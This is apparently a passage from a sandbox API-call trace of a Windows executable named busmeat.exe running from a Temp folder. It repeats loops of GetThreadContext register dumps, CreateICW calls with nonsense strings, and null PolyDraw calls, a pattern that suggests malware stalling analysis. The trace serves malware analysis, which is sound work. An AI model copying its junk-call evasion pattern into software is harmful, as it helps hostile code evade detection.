[62]=0x40, [63]=0x0, [64]=0x79, [65]=0x63, [66]=0x40, [67]=0x0, [68]=0x0, [69]=0x0, [70]=0x0, [71]=0x0, [72]=0x0, [73]=0x0, [74]=0x0, [75]=0x0, [76]=0x48, [77]=0x4, [78]=0x0, [79]=0x0), FloatSave.Cr0NpxState=0x0, SegGs=0x0, SegFs=0x0, SegEs=0xd08178, SegDs=0x77ca8d76, Edi=0x77c9a217, Esi=0xffffffff, Ebx=0x24, Edx=0x19fcd0, Ecx=0x4, Eax=0x20, Ebp=0x68a8a80e, Eip=0x19ff10, SegCs=0x76a241a8, EFlags=0xa039a2a2, Esp=0x403030, SegSs=0x40e1a0, ExtendedRegisters=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0xa3, [5]=0xa3, [6]=0xdd, [7]=0x2d, [8]=0x0, [9]=0x0, [10]=0x40, [11]=0x0, [12]=0x0, [13]=0x90, [14]=0x74, [15]=0x0, [16]=0x0, [17]=0x0, [18]=0x0, [19]=0x1, [20]=0x8a, [21]=0x0, [22]=0x8c, [23]=0x0, [24]=0x4, [25]=0xfd, [26]=0x19, [27]=0x0, [28]=0x5c, [29]=0x0, [30]=0x44, [31]=0x0, [32]=0x65, [33]=0x0, [34]=0x76, [35]=0x0, [36]=0x69, [37]=0x0, [38]=0x63, [39]=0x0, [40]=0x65, [41]=0x0, [42]=0x5c, [43]=0x0, [44]=0x48, [45]=0x0, [46]=0x61, [47]=0x0, [48]=0x72, [49]=0x0, [50]=0x64, [51]=0x0, [52]=0x64, [53]=0x0, [54]=0x69, [55]=0x0, [56]=0x73, [57]=0x0, [58]=0x6b, [59]=0x0, [60]=0x56, [61]=0x0, [62]=0x6f, [63]=0x0, [64]=0x6c, [65]=0x0, [66]=0x75, [67]=0x0, [68]=0x6d, [69]=0x0, [70]=0x65, [71]=0x0, [72]=0x31, [73]=0x0, [74]=0x5c, [75]=0x0, [76]=0x55, [77]=0x0, [78]=0x73, [79]=0x0, [80]=0x65, [81]=0x0, [82]=0x72, [83]=0x0, [84]=0x73, [85]=0x0, [86]=0x5c, [87]=0x0, [88]=0x43, [89]=0x0, [90]=0x49, [91]=0x0, [92]=0x49, [93]=0x0, [94]=0x48, [95]=0x0, [96]=0x4d, [97]=0x0, [98]=0x4e, [99]=0x0, [100]=0x7e, [101]=0x0, [102]=0x31, [103]=0x0, [104]=0x5c, [105]=0x0, [106]=0x41, [107]=0x0, [108]=0x70, [109]=0x0, [110]=0x70, [111]=0x0, [112]=0x44, [113]=0x0, [114]=0x61, [115]=0x0, [116]=0x74, [117]=0x0, [118]=0x61, [119]=0x0, [120]=0x5c, [121]=0x0, [122]=0x4c, [123]=0x0, [124]=0x6f, [125]=0x0, [126]=0x63, [127]=0x0, [128]=0x61, [129]=0x0, [130]=0x6c, [131]=0x0, [132]=0x5c, [133]=0x0, [134]=0x54, [135]=0x0, [136]=0x65, [137]=0x0, [138]=0x6d, [139]=0x0, [140]=0x70, [141]=0x0, [142]=0x5c, [143]=0x0, [144]=0x62, [145]=0x0, [146]=0x75, [147]=0x0, [148]=0x73, [149]=0x0, [150]=0x6d, [151]=0x0, [152]=0x65, [153]=0x0, [154]=0x61, [155]=0x0, [156]=0x74, [157]=0x0, [158]=0x2e, [159]=0x0, [160]=0x65, [161]=0x0, [162]=0x78, [163]=0x0, [164]=0x65, [165]=0x0, [166]=0x0, [167]=0x0, [168]=0x2, [169]=0x0, [170]=0x0, [171]=0x2, [172]=0x10, [173]=0x65, [174]=0xd1, [175]=0x0, [176]=0xb6, [177]=0x0, [178]=0x0, [179]=0x0, [180]=0xd0, [181]=0xfe, [182]=0xff, [183]=0xff, [184]=0xf0, [185]=0xf1, [186]=0xf2, [187]=0xf3, [188]=0x4, [189]=0x0, [190]=0x0, [191]=0x0, [192]=0x27, [193]=0x0, [194]=0x0, [195]=0x27, [196]=0xed, [197]=0xff, [198]=0xff, [199]=0xff, [200]=0x36, [201]=0x1, [202]=0x0, [203]=0x37, [204]=0xfe, [205]=0xff, [206]=0xff, [207]=0xff, [208]=0x5, [209]=0x0, [210]=0x0, [211]=0x5, [212]=0x26, [213]=0xdc, [214]=0xc7, [215]=0x77, [216]=0x7, [217]=0x0, [218]=0x0, [219]=0x7, [220]=0xb0, [221]=0x81, [222]=0xd0, [223]=0x0, [224]=0xff, [225]=0x7, [226]=0x0, [227]=0x0, [228]=0xe8, [229]=0xfd, [230]=0x19, [231]=0x0, [232]=0xc0, [233]=0x0, [234]=0xd0, [235]=0x0, [236]=0x88, [237]=0x2, [238]=0xd0, [239]=0x0, [240]=0x23, [241]=0x1, [242]=0x0, [243]=0x0, [244]=0x0, [245]=0x0, [246]=0xd0, [247]=0x0, [248]=0x22, [249]=0x0, [250]=0x0, [251]=0x0, [252]=0x0, [253]=0x0, [254]=0x0, [255]=0x0, [256]=0x0, [257]=0x0, [258]=0xd0, [259]=0x0, [260]=0x8, [261]=0x8, [262]=0x0, [263]=0x0, [264]=0x0, [265]=0x0, [266]=0x0, [267]=0x0, [268]=0x6, [269]=0x0, [270]=0x0, [271]=0x0, [272]=0x2, [273]=0x0, [274]=0x0, [275]=0x2, [276]=0x27, [277]=0x0, [278]=0x0, [279]=0x0, [280]=0x0, [281]=0x0, [282]=0xd0, [283]=0x0, [284]=0x36, [285]=0xff, [286]=0xff, [287]=0xff, [288]=0xa3, [289]=0x0, [290]=0x0, [291]=0x0, [292]=0x1, [293]=0x0, [294]=0x0, [295]=0x0, [296]=0x47, [297]=0x1, [298]=0x0, [299]=0x0, [300]=0x1, [301]=0x1, [302]=0x0, [303]=0x0, [304]=0x23, [305]=0x1, [306]=0x0, [307]=0x0, [308]=0x86, [309]=0x0, [310]=0x0, [311]=0x1, [312]=0x0, [313]=0x0, [314]=0x0, [315]=0x0, [316]=0x38, [317]=0x86, [318]=0xd1, [319]=0x0, [320]=0x0, [321]=0x0, [322]=0x0, [323]=0x0, [324]=0x8, [325]=0x65, [326]=0xd1, [327]=0x0, [328]=0xa, [329]=0x0, [330]=0x0, [331]=0x0, [332]=0x1, [333]=0x0, [334]=0x0, [335]=0x0, [336]=0x10, [337]=0x65, [338]=0xd1, [339]=0x0, [340]=0x8, [341]=0x65, [342]=0xd1, [343]=0x0, [344]=0x10, [345]=0x65, [346]=0xd1, [347]=0x0, [348]=0x2, [349]=0x0, [350]=0x0, [351]=0x0, [352]=0x8, [353]=0x65, [354]=0xd1, [355]=0x0, [356]=0xfe, [357]=0xff, [358]=0xff, [359]=0xff, [360]=0x20, [361]=0x0, [362]=0x0, [363]=0x0, [364]=0x0, [365]=0x64, [366]=0xd0, [367]=0x0, [368]=0x22, [369]=0x0, [370]=0x0, [371]=0x0, [372]=0x0, [373]=0x0, [374]=0x0, [375]=0x0, [376]=0xb6, [377]=0x0, [378]=0x0, [379]=0x0, [380]=0xc0, [381]=0x0, [382]=0xd0, [383]=0x0, [384]=0x3, [385]=0x0, [386]=0x0, [387]=0x0, [388]=0x0, [389]=0x0, [390]=0x0, [391]=0x0, [392]=0x22, [393]=0x0, [394]=0x0, [395]=0x0, [396]=0x60, [397]=0x2, [398]=0xd0, [399]=0x0, [400]=0x38, [401]=0x86, [402]=0xd1, [403]=0x0, [404]=0x38, [405]=0x86, [406]=0xd1, [407]=0x0, [408]=0x70, [409]=0xff, [410]=0x19, [411]=0x0, [412]=0x40, [413]=0xd, [414]=0xcb, [415]=0x77, [416]=0xe9, [417]=0x65, [418]=0xc1, [419]=0xd7, [420]=0xfe, [421]=0xff, [422]=0xff, [423]=0xff, [424]=0xc, [425]=0x0, [426]=0x0, [427]=0x0, [428]=0x76, [429]=0x8d, [430]=0xca, [431]=0x77, [432]=0xa7, [433]=0xf1, [434]=0xc9, [435]=0x77, [436]=0xff, [437]=0xff, [438]=0xff, [439]=0xff, [440]=0x24, [441]=0x0, [442]=0x0, [443]=0x0, [444]=0xb0, [445]=0xfe, [446]=0x19, [447]=0x0, [448]=0x4, [449]=0x0, [450]=0x0, [451]=0x0, [452]=0x0, [453]=0x0, [454]=0x0, [455]=0x0, [456]=0x4, [457]=0x0, [458]=0x0, [459]=0x0, [460]=0x17, [461]=0xde, [462]=0x40, [463]=0x0, [464]=0x3, [465]=0x0, [466]=0x0, [467]=0x0, [468]=0xc8, [469]=0xfe, [470]=0x19, [471]=0x0, [472]=0xa4, [473]=0x7b, [474]=0x40, [475]=0x0, [476]=0xc, [477]=0xff, [478]=0x19, [479]=0x0, [480]=0xd4, [481]=0xfe, [482]=0x19, [483]=0x0, [484]=0x1e, [485]=0x6f, [486]=0x40, [487]=0x0, [488]=0x3, [489]=0x0, [490]=0x0, [491]=0x0, [492]=0xfc, [493]=0xfe, [494]=0x19, [495]=0x0, [496]=0x4d, [497]=0x46, [498]=0x40, [499]=0x0, [500]=0x0, [501]=0x0, [502]=0x0, [503]=0x0, [504]=0x0, [505]=0x0, [506]=0x0, [507]=0x0, [508]=0xc, [509]=0xff, [510]=0x19, [511]=0x0))) returned 0
	[0066.074] CreateICW (pszDriver="Ciyexawekoza rixecufazukofa tepaxudocagi giyo vekesodo", pszDevice="Bokejuni kudihubeko", pszPort="Piyiwa yayehacube negi jugudanepiko tigodimuwusocu", pdm=0x0) returned 0x0
	[0066.075] PolyDraw (hdc=0x0, apt=0x0, aj=0x0, cpt=0) returned 0
	[0066.075] LocalFileTimeToFileTime (in: lpLocalFileTime=0x19ff20, lpFileTime=0x19ff28 | out: lpFileTime=0x19ff28) returned 1
	[0066.075] GetConsoleCP () returned 0x0
	[0066.075] GetThreadContext (in: hThread=0x0, lpContext=0x19fc1c | out: lpContext=0x19fc1c*(ContextFlags=0x1, Dr0=0xd18638, Dr1=0xd18630, Dr2=0xd18638, Dr3=0xd, Dr6=0x438, Dr7=0xfffffffe, FloatSave.ControlWord=0xd00000, FloatSave.StatusWord=0xd06b58, FloatSave.TagWord=0xad, FloatSave.ErrorOffset=0x0, FloatSave.ErrorSelector=0x1, FloatSave.DataOffset=0xd000c0, FloatSave.DataSelector=0x27000027, FloatSave.RegisterArea=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x2d, [5]=0x0, [6]=0x0, [7]=0x0, [8]=0x78, [9]=0x81, [10]=0xd0, [11]=0x0, [12]=0x0, [13]=0x0, [14]=0xd0, [15]=0x0, [16]=0x1c, [17]=0x8e, [18]=0xca, [19]=0x77, [20]=0x70, [21]=0xff, [22]=0x19, [23]=0x0, [24]=0x40, [25]=0xd, [26]=0xcb, [27]=0x77, [28]=0xe9, [29]=0x65, [30]=0xc1, [31]=0xd7, [32]=0xfe, [33]=0xff, [34]=0xff, [35]=0xff, [36]=0xbc, [37]=0xfc, [38]=0x19, [39]=0x0, [40]=0x26, [41]=0xdc, [42]=0xc7, [43]=0x77, [44]=0x40, [45]=0x4, [46]=0x0, [47]=0x0, [48]=0x48, [49]=0x4, [50]=0x0, [51]=0x0, [52]=0xb0, [53]=0x82, [54]=0xd0, [55]=0x0, [56]=0xa8, [57]=0xfc, [58]=0x19, [59]=0x0, [60]=0x30, [61]=0x30, [62]=0x40, [63]=0x0, [64]=0x79, [65]=0x63, [66]=0x40, [67]=0x0, [68]=0x0, [69]=0x0, [70]=0x0, [71]=0x0, [72]=0x0, [73]=0x0, [74]=0x0, [75]=0x0, [76]=0x48, [77]=0x4, [78]=0x0, [79]=0x0), FloatSave.Cr0NpxState=0x0, SegGs=0x0, SegFs=0x0, SegEs=0xd08178, SegDs=0x77ca8d76, Edi=0x77c9a217, Esi=0xffffffff, Ebx=0x24, Edx=0x19fcd0, Ecx=0x4, Eax=0x20, Ebp=0x68a8a80e, Eip=0x19ff10, SegCs=0x76a241a8, EFlags=0xa039a2a2, Esp=0x403030, SegSs=0x40e1a0, ExtendedRegisters=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0xa3, [5]=0xa3, [6]=0xdd, [7]=0x2d, [8]=0x0, [9]=0x0, [10]=0x40, [11]=0x0, [12]=0x0, [13]=0x90, [14]=0x74, [15]=0x0, [16]=0x0, [17]=0x0, [18]=0x0, [19]=0x1, [20]=0x8a, [21]=0x0, [22]=0x8c, [23]=0x0, [24]=0x4, [25]=0xfd, [26]=0x19, [27]=0x0, [28]=0x5c, [29]=0x0, [30]=0x44, [31]=0x0, [32]=0x65, [33]=0x0, [34]=0x76, [35]=0x0, [36]=0x69, [37]=0x0, [38]=0x63, [39]=0x0, [40]=0x65, [41]=0x0, [42]=0x5c, [43]=0x0, [44]=0x48, [45]=0x0, [46]=0x61, [47]=0x0, [48]=0x72, [49]=0x0, [50]=0x64, [51]=0x0, [52]=0x64, [53]=0x0, [54]=0x69, [55]=0x0, [56]=0x73, [57]=0x0, [58]=0x6b, [59]=0x0, [60]=0x56, [61]=0x0, [62]=0x6f, [63]=0x0, [64]=0x6c, [65]=0x0, [66]=0x75, [67]=0x0, [68]=0x6d, [69]=0x0, [70]=0x65, [71]=0x0, [72]=0x31, [73]=0x0, [74]=0x5c, [75]=0x0, [76]=0x55, [77]=0x0, [78]=0x73, [79]=0x0, [80]=0x65, [81]=0x0, [82]=0x72, [83]=0x0, [84]=0x73, [85]=0x0, [86]=0x5c, [87]=0x0, [88]=0x43, [89]=0x0, [90]=0x49, [91]=0x0, [92]=0x49, [93]=0x0, [94]=0x48, [95]=0x0, [96]=0x4d, [97]=0x0, [98]=0x4e, [99]=0x0, [100]=0x7e, [101]=0x0, [102]=0x31, [103]=0x0, [104]=0x5c, [105]=0x0, [106]=0x41, [107]=0x0, [108]=0x70, [109]=0x0, [110]=0x70, [111]=0x0, [112]=0x44, [113]=0x0, [114]=0x61, [115]=0x0, [116]=0x74, [117]=0x0, [118]=0x61, [119]=0x0, [120]=0x5c, [121]=0x0, [122]=0x4c, [123]=0x0, [124]=0x6f, [125]=0x0, [126]=0x63, [127]=0x0, [128]=0x61, [129]=0x0, [130]=0x6c, [131]=0x0, [132]=0x5c, [133]=0x0, [134]=0x54, [135]=0x0, [136]=0x65, [137]=0x0, [138]=0x6d, [139]=0x0, [140]=0x70, [141]=0x0, [142]=0x5c, [143]=0x0, [144]=0x62, [145]=0x0, [146]=0x75, [147]=0x0, [148]=0x73, [149]=0x0, [150]=0x6d, [151]=0x0, [152]=0x65, [153]=0x0, [154]=0x61, [155]=0x0, [156]=0x74, [157]=0x0, [158]=0x2e, [159]=0x0, [160]=0x65, [161]=0x0, [162]=0x78, [163]=0x0, [164]=0x65, [165]=0x0, [166]=0x0, [167]=0x0, [168]=0x2, [169]=0x0, [170]=0x0, [171]=0x2, [172]=0x10, [173]=0x65, [174]=0xd1, [175]=0x0, [176]=0xb6, [177]=0x0, [178]=0x0, [179]=0x0, [180]=0xd0, [181]=0xfe, [182]=0xff, [183]=0xff, [184]=0xf0, [185]=0xf1, [186]=0xf2, [187]=0xf3, [188]=0x4, [189]=0x0, [190]=0x0, [191]=0x0, [192]=0x27, [193]=0x0, [194]=0x0, [195]=0x27, [196]=0xed, [197]=0xff, [198]=0xff, [199]=0xff, [200]=0x36, [201]=0x1, [202]=0x0, [203]=0x37, [204]=0xfe, [205]=0xff, [206]=0xff, [207]=0xff, [208]=0x5, [209]=0x0, [210]=0x0, [211]=0x5, [212]=0x26, [213]=0xdc, [214]=0xc7, [215]=0x77, [216]=0x7, [217]=0x0, [218]=0x0, [219]=0x7, [220]=0xb0, [221]=0x81, [222]=0xd0, [223]=0x0, [224]=0xff, [225]=0x7, [226]=0x0, [227]=0x0, [228]=0xe8, [229]=0xfd, [230]=0x19, [231]=0x0, [232]=0xc0, [233]=0x0, [234]=0xd0, [235]=0x0, [236]=0x88, [237]=0x2, [238]=0xd0, [239]=0x0, [240]=0x23, [241]=0x1, [242]=0x0, [243]=0x0, [244]=0x0, [245]=0x0, [246]=0xd0, [247]=0x0, [248]=0x22, [249]=0x0, [250]=0x0, [251]=0x0, [252]=0x0, [253]=0x0, [254]=0x0, [255]=0x0, [256]=0x0, [257]=0x0, [258]=0xd0, [259]=0x0, [260]=0x8, [261]=0x8, [262]=0x0, [263]=0x0, [264]=0x0, [265]=0x0, [266]=0x0, [267]=0x0, [268]=0x6, [269]=0x0, [270]=0x0, [271]=0x0, [272]=0x2, [273]=0x0, [274]=0x0, [275]=0x2, [276]=0x27, [277]=0x0, [278]=0x0, [279]=0x0, [280]=0x0, [281]=0x0, [282]=0xd0, [283]=0x0, [284]=0x36, [285]=0xff, [286]=0xff, [287]=0xff, [288]=0xa3, [289]=0x0, [290]=0x0, [291]=0x0, [292]=0x1, [293]=0x0, [294]=0x0, [295]=0x0, [296]=0x47, [297]=0x1, [298]=0x0, [299]=0x0, [300]=0x1, [301]=0x1, [302]=0x0, [303]=0x0, [304]=0x23, [305]=0x1, [306]=0x0, [307]=0x0, [308]=0x86, [309]=0x0, [310]=0x0, [311]=0x1, [312]=0x0, [313]=0x0, [314]=0x0, [315]=0x0, [316]=0x38, [317]=0x86, [318]=0xd1, [319]=0x0, [320]=0x0, [321]=0x0, [322]=0x0, [323]=0x0, [324]=0x8, [325]=0x65, [326]=0xd1, [327]=0x0, [328]=0xa, [329]=0x0, [330]=0x0, [331]=0x0, [332]=0x1, [333]=0x0, [334]=0x0, [335]=0x0, [336]=0x10, [337]=0x65, [338]=0xd1, [339]=0x0, [340]=0x8, [341]=0x65, [342]=0xd1, [343]=0x0, [344]=0x10, [345]=0x65, [346]=0xd1, [347]=0x0, [348]=0x2, [349]=0x0, [350]=0x0, [351]=0x0, [352]=0x8, [353]=0x65, [354]=0xd1, [355]=0x0, [356]=0xfe, [357]=0xff, [358]=0xff, [359]=0xff, [360]=0x20, [361]=0x0, [362]=0x0, [363]=0x0, [364]=0x0, [365]=0x64, [366]=0xd0, [367]=0x0, [368]=0x22, [369]=0x0, [370]=0x0, [371]=0x0, [372]=0x0, [373]=0x0, [374]=0x0, [375]=0x0, [376]=0xb6, [377]=0x0, [378]=0x0, [379]=0x0, [380]=0xc0, [381]=0x0, [382]=0xd0, [383]=0x0, [384]=0x3, [385]=0x0, [386]=0x0, [387]=0x0, [388]=0x0, [389]=0x0, [390]=0x0, [391]=0x0, [392]=0x22, [393]=0x0, [394]=0x0, [395]=0x0, [396]=0x60, [397]=0x2, [398]=0xd0, [399]=0x0, [400]=0x38, [401]=0x86, [402]=0xd1, [403]=0x0, [404]=0x38, [405]=0x86, [406]=0xd1, [407]=0x0, [408]=0x70, [409]=0xff, [410]=0x19, [411]=0x0, [412]=0x40, [413]=0xd, [414]=0xcb, [415]=0x77, [416]=0xe9, [417]=0x65, [418]=0xc1, [419]=0xd7, [420]=0xfe, [421]=0xff, [422]=0xff, [423]=0xff, [424]=0xc, [425]=0x0, [426]=0x0, [427]=0x0, [428]=0x76, [429]=0x8d, [430]=0xca, [431]=0x77, [432]=0xa7, [433]=0xf1, [434]=0xc9, [435]=0x77, [436]=0xff, [437]=0xff, [438]=0xff, [439]=0xff, [440]=0x24, [441]=0x0, [442]=0x0, [443]=0x0, [444]=0xb0, [445]=0xfe, [446]=0x19, [447]=0x0, [448]=0x4, [449]=0x0, [450]=0x0, [451]=0x0, [452]=0x0, [453]=0x0, [454]=0x0, [455]=0x0, [456]=0x4, [457]=0x0, [458]=0x0, [459]=0x0, [460]=0x17, [461]=0xde, [462]=0x40, [463]=0x0, [464]=0x3, [465]=0x0, [466]=0x0, [467]=0x0, [468]=0xc8, [469]=0xfe, [470]=0x19, [471]=0x0, [472]=0xa4, [473]=0x7b, [474]=0x40, [475]=0x0, [476]=0xc, [477]=0xff, [478]=0x19, [479]=0x0, [480]=0xd4, [481]=0xfe, [482]=0x19, [483]=0x0, [484]=0x1e, [485]=0x6f, [486]=0x40, [487]=0x0, [488]=0x3, [489]=0x0, [490]=0x0, [491]=0x0, [492]=0xfc, [493]=0xfe, [494]=0x19, [495]=0x0, [496]=0x4d, [497]=0x46, [498]=0x40, [499]=0x0, [500]=0x0, [501]=0x0, [502]=0x0, [503]=0x0, [504]=0x0, [505]=0x0, [506]=0x0, [507]=0x0, [508]=0xc, [509]=0xff, [510]=0x19, [511]=0x0))) returned 0
	[0066.075] CreateICW (pszDriver="Ciyexawekoza rixecufazukofa tepaxudocagi giyo vekesodo", pszDevice="Bokejuni kudihubeko", pszPort="Piyiwa yayehacube negi jugudanepiko tigodimuwusocu", pdm=0x0) returned 0x0
	[0066.076] PolyDraw (hdc=0x0, apt=0x0, aj=0x0, cpt=0) returned 0
	[0066.076] LocalFileTimeToFileTime (in: lpLocalFileTime=0x19ff20, lpFileTime=0x19ff28 | out: lpFileTime=0x19ff28) returned 1
	[0066.076] GetConsoleCP () returned 0x0
	[0066.076] GetThreadContext (in: hThread=0x0, lpContext=0x19fc1c | out: lpContext=0x19fc1c*(ContextFlags=0x1, Dr0=0xd18638, Dr1=0xd18630, Dr2=0xd18638, Dr3=0xd, Dr6=0x438, Dr7=0xfffffffe, FloatSave.ControlWord=0xd00000, FloatSave.StatusWord=0xd06b58, FloatSave.TagWord=0xad, FloatSave.ErrorOffset=0x0, FloatSave.ErrorSelector=0x1, FloatSave.DataOffset=0xd000c0, FloatSave.DataSelector=0x27000027, FloatSave.RegisterArea=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x2d, [5]=0x0, [6]=0x0, [7]=0x0, [8]=0x78, [9]=0x81, [10]=0xd0, [11]=0x0, [12]=0x0, [13]=0x0, [14]=0xd0, [15]=0x0, [16]=0x1c, [17]=0x8e, [18]=0xca, [19]=0x77, [20]=0x70, [21]=0xff, [22]=0x19, [23]=0x0, [24]=0x40, [25]=0xd, [26]=0xcb, [27]=0x77, [28]=0xe9, [29]=0x65, [30]=0xc1, [31]=0xd7, [32]=0xfe, [33]=0xff, [34]=0xff, [35]=0xff, [36]=0xbc, [37]=0xfc, [38]=0x19, [39]=0x0, [40]=0x26, [41]=0xdc, [42]=0xc7, [43]=0x77, [44]=0x40, [45]=0x4, [46]=0x0, [47]=0x0, [48]=0x48, [49]=0x4, [50]=0x0, [51]=0x0, [52]=0xb0, [53]=0x82, [54]=0xd0, [55]=0x0, [56]=0xa8, [57]=0xfc, [58]=0x19, [59]=0x0, [60]=0x30, [61]=0x30, [62]=0x40, [63]=0x0, [64]=0x79, [65]=0x63, [66]=0x40, [67]=0x0, [68]=0x0, [69]=0x0, [70]=0x0, [71]=0x0, [72]=0x0, [73]=0x0, [74]=0x0, [75]=0x0, [76]=0x48, [77]=0x4, [78]=0x0, [79]=0x0), FloatSave.Cr0NpxState=0x0, SegGs=0x0, SegFs=0x0, SegEs=0xd08178, SegDs=0x77ca8d76, Edi=0x77c9a217, Esi=0xffffffff, Ebx=0x24, Edx=0x19fcd0, Ecx=0x4, Eax=0x20, Ebp=0x68a8a80e, Eip=0x19ff10, SegCs=0x76a241a8, EFlags=0xa039a2a2, Esp=0x403030, SegSs=0x40e1a0, ExtendedRegisters=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0xa3, [5]=0xa3, [6]=0xdd, [7]=0x2d, [8]=0x0, [9]=0x0, [10]=0x40, [11]=0x0, [12]=0x0, [13]=0x90, [14]=0x74, [15]=0x0, [16]=0x0, [17]=0x0, [18]=0x0, [19]=0x1, [20]=0x8a, [21]=0x0, [22]=0x8c, [23]=0x0, [24]=0x4, [25]=0xfd, [26]=0x19, [27]=0x0, [28]=0x5c, [29]=0x0, [30]=0x44, [31]=0x0, [32]=0x65, [33]=0x0, [34]=0x76, [35]=0x0, [36]=0x69, [37]=0x0, [38]=0x63, [39]=0x0, [40]=0x65, [41]=0x0, [42]=0x5c, [43]=0x0, [44]=0x48, [45]=0x0, [46]=0x61, [47]=0x0, [48]=0x72, [49]=0x0, [50]=0x64, [51]=0x0, [52]=0x64, [53]=0x0, [54]=0x69, [55]=0x0, [56]=0x73, [57]=0x0, [58]=0x6b, [59]=0x0, [60]=0x56, [61]=0x0, [62]=0x6f, [63]=0x0, [64]=0x6c, [65]=0x0, [66]=0x75, [67]=0x0, [68]=0x6d, [69]=0x0, [70]=0x65, [71]=0x0, [72]=0x31, [73]=0x0, [74]=0x5c, [75]=0x0, [76]=0x55, [77]=0x0, [78]=0x73, [79]=0x0, [80]=0x65, [81]=0x0, [82]=0x72, [83]=0x0, [84]=0x73, [85]=0x0, [86]=0x5c, [87]=0x0, [88]=0x43, [89]=0x0, [90]=0x49, [91]=0x0, [92]=0x49, [93]=0x0, [94]=0x48, [95]=0x0, [96]=0x4d, [97]=0x0, [98]=0x4e, [99]=0x0, [100]=0x7e, [101]=0x0, [102]=0x31, [103]=0x0, [104]=0x5c, [105]=0x0, [106]=0x41, [107]=0x0, [108]=0x70, [109]=0x0, [110]=0x70, [111]=0x0, [112]=0x44, [113]=0x0, [114]=0x61, [115]=0x0, [116]=0x74, [117]=0x0, [118]=0x61, [119]=0x0, [120]=0x5c, [121]=0x0, [122]=0x4c, [123]=0x0, [124]=0x6f, [125]=0x0, [126]=0x63, [127]=0x0, [128]=0x61, [129]=0x0, [130]=0x6c, [131]=0x0, [132]=0x5c, [133]=0x0, [134]=0x54, [135]=0x0, [136]=0x65, [137]=0x0, [138]=0x6d, [139]=0x0, [140]=0x70, [141]=0x0, [142]=0x5c, [143]=0x0, [144]=0x62, [145]=0x0, [146]=0x75, [147]=0x0, [148]=0x73, [149]=0x0, [150]=0x6d, [151]=0x0, [152]=0x65, [153]=0x0, [154]=0x61, [155]=0x0, [156]=0x74, [157]=0x0, [158]=0x2e, [159]=0x0, [160]=0x65, [161]=0x0, [162]=0x78, [163]=0x0, [164]=0x65, [165]=0x0, [166]=0x0, [167]=0x0, [168]=0x2, [169]=0x0, [170]=0x0, [171]=0x2, [172]=0x10, [173]=0x65, [174]=0xd1, [175]=0x0, [176]=0xb6, [177]=0x0, [178]=0x0, [179]=0x0, [180]=0xd0, [181]=0xfe, [182]=0xff, [183]=0xff, [184]=0xf0, [185]=0xf1, [186]=0xf2, [187]=0xf3, [188]=0x4, [189]=0x0, [190]=0x0, [191]=0x0, [192]=0x27, [193]=0x0, [194]=0x0, [195]=0x27, [196]=0xed, [197]=0xff, [198]=0xff, [199]=0xff, [200]=0x36, [201]=0x1, [202]=0x0, [203]=0x37, [204]=0xfe, [205]=0xff, [206]=0xff, [207]=0xff, [208]=0x5, [209]=0x0, [210]=0x0, [211]=0x5, [212]=0x26, [213]=0xdc, [214]=0xc7, [215]=0x77, [216]=0x7, [217]=0x0, [218]=0x0, [219]=0x7, [220]=0xb0, [221]=0x81, [222]=0xd0, [223]=0x0, [224]=0xff, [225]=0x7, [226]=0x0, [227]=0x0, [228]=0xe8, [229]=0xfd, [230]=0x19, [231]=0x0, [232]=0xc0, [233]=0x0, [234]=0xd0, [235]=0x0, [236]=0x88, [237]=0x2, [238]=0xd0, [239]=0x0, [240]=0x23, [241]=0x1, [242]=0x0, [243]=0x0, [244]=0x0, [245]=0x0, [246]=0xd0, [247]=0x0, [248]=0x22, [249]=0x0, [250]=0x0, [251]=0x0, [252]=0x0, [253]=0x0, [254]=0x0, [255]=0x0, [256]=0x0, [257]=0x0, [258]=0xd0, [259]=0x0, [260]=0x8, [261]=0x8, [262]=0x0, [263]=0x0, [264]=0x0, [265]=0x0, [266]=0x0, [267]=0x0, [268]=0x6, [269]=0x0, [270]=0x0, [271]=0x0, [272]=0x2, [273]=0x0, [274]=0x0, [275]=0x2, [276]=0x27, [277]=0x0, [278]=0x0, [279]=0x0, [280]=0x0, [281]=0x0, [282]=0xd0, [283]=0x0, [284]=0x36, [285]=0xff, [286]=0xff, [287]=0xff, [288]=0xa3, [289]=0x0, [290]=0x0, [291]=0x0, [292]=0x1, [293]=0x0, [294]=0x0, [295]=0x0, [296]=0x47, [297]=0x1, [298]=0x0, [299]=0x0, [300]=0x1, [301]=0x1, [302]=0x0, [303]=0x0, [304]=0x23, [305]=0x1, [306]=0x0, [307]=0x0, [308]=0x86, [309]=0x0, [310]=0x0, [311]=0x1, [312]=0x0, [313]=0x0, [314]=0x0, [315]=0x0, [316]=0x38, [317]=0x86, [318]=0xd1, [319]=0x0, [320]=0x0, [321]=0x0, [322]=0x0, [323]=0x0, [324]=0x8, [325]=0x65, [326]=0xd1, [327]=0x0, [328]=0xa, [329]=0x0, [330]=0x0, [331]=0x0, [332]=0x1, [333]=0x0, [334]=0x0, [335]=0x0, [336]=0x10, [337]=0x65, [338]=0xd1, [339]=0x0, [340]=0x8, [341]=0x65, [342]=0xd1, [343]=0x0, [344]=0x10, [345]=0x65, [346]=0xd1, [347]=0x0, [348]=0x2, [349]=0x0, [350]=0x0, [351]=0x0, [352]=0x8, [353]=0x65, [354]=0xd1, [355]=0x0, [356]=0xfe, [357]=0xff, [358]=0xff, [359]=0xff, [360]=0x20, [361]=0x0, [362]=0x0, [363]=0x0, [364]=0x0, [365]=0x64, [366]=0xd0, [367]=0x0, [368]=0x22, [369]=0x0, [370]=0x0, [371]=0x0, [372]=0x0, [373]=0x0, [374]=0x0, [375]=0x0, [376]=0xb6, [377]=0x0, [378]=0x0, [379]=0x0, [380]=0xc0, [381]=0x0, [382]=0xd0, [383]=0x0, [384]=0x3, [385]=0x0, [386]=0x0, [387]=0x0, [388]=0x0, [389]=0x0, [390]=0x0, [391]=0x0, [392]=0x22, [393]=0x0, [394]=0x0, [395]=0x0, [396]=0x60, [397]=0x2, [398]=0xd0, [399]=0x0, [400]=0x38, [401]=0x86, [402]=0xd1, [403]=0x0, [404]=0x38, [405]=0x86, [406]=0xd1, [407]=0x0, [408]=0x70, [409]=0xff, [410]=0x19, [411]=0x0, [412]=0x40, [413]=0xd, [414]=0xcb, [415]=0x77, [416]=0xe9, [417]=0x65, [418]=0xc1, [419]=0xd7, [420]=0xfe, [421]=0xff, [422]=0xff, [423]=0xff, [424]=0xc, 